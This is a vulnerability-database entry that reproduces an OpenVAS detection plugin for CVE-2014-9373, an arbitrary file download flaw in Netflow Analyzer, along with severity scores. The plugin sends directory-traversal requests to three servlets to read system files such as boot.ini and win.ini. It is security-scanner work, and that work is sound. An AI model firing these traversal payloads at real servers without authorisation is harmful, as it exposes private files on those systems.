Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310105127
HistoryDec 01, 2014 - 12:00 a.m.

Netflow Analyzer Arbitrary File Download

2014-12-0100:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
46

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

6.7

Confidence

Low

EPSS

0.177

Percentile

96.2%

An attacker can exploit this issue using directory-traversal strings to
view files in the context of the web server process.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105127");
  script_version("2023-07-26T05:05:09+0000");
  script_cve_id("CVE-2014-9373");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-12-01 17:20:40 +0200 (Mon, 01 Dec 2014)");
  script_name("Netflow Analyzer Arbitrary File Download");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/p1982sg3vuo9pibt15p01uju1hv0/consolidated_1Dec.zip");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71640");

  script_tag(name:"impact", value:"Arbitrary file download of local files.");

  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response.");

  script_tag(name:"solution", value:"Vendor fixes are available. Please see the references for more information.");

  script_tag(name:"summary", value:"An attacker can exploit this issue using directory-traversal strings to
  view files in the context of the web server process.");

  script_tag(name:"affected", value:"NetFlow v8.6 to v9.9.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
buf = http_get_cache( item:"/netflow/jspui/NetworkSnapShot.jsp", port:port );

if( ! buf || buf !~ "Login - Netflow Analyzer" )
  exit( 0 );

files = traversal_files();
urls = make_array();

foreach pattern( keys( files ) ) {

  file = files[pattern];
  urls[ "/netflow/servlet/CSVServlet?schFilePath=/" + file ] = pattern;
  urls[ "/netflow/servlet/DisplayChartPDF?filename=../../../../../../../../" + file ] = pattern;

  if( file =~ "(boot|win)\.ini" ) {
    file = str_replace( find:"/", string:file, replace:"\\" );
    urls[ "/netflow/servlet/CReportPDFServlet?schFilePath=C:\\" + file + "&pdf=true" ] = pattern;
  } else {
    urls[ "/netflow/servlet/CReportPDFServlet?schFilePath=/" + file + "&pdf=true" ] = pattern;
  }
}

foreach url( keys( urls ) ) {

  pattern = urls[url];

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 0 );

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

6.7

Confidence

Low

EPSS

0.177

Percentile

96.2%

Related for OPENVAS:1361412562310105127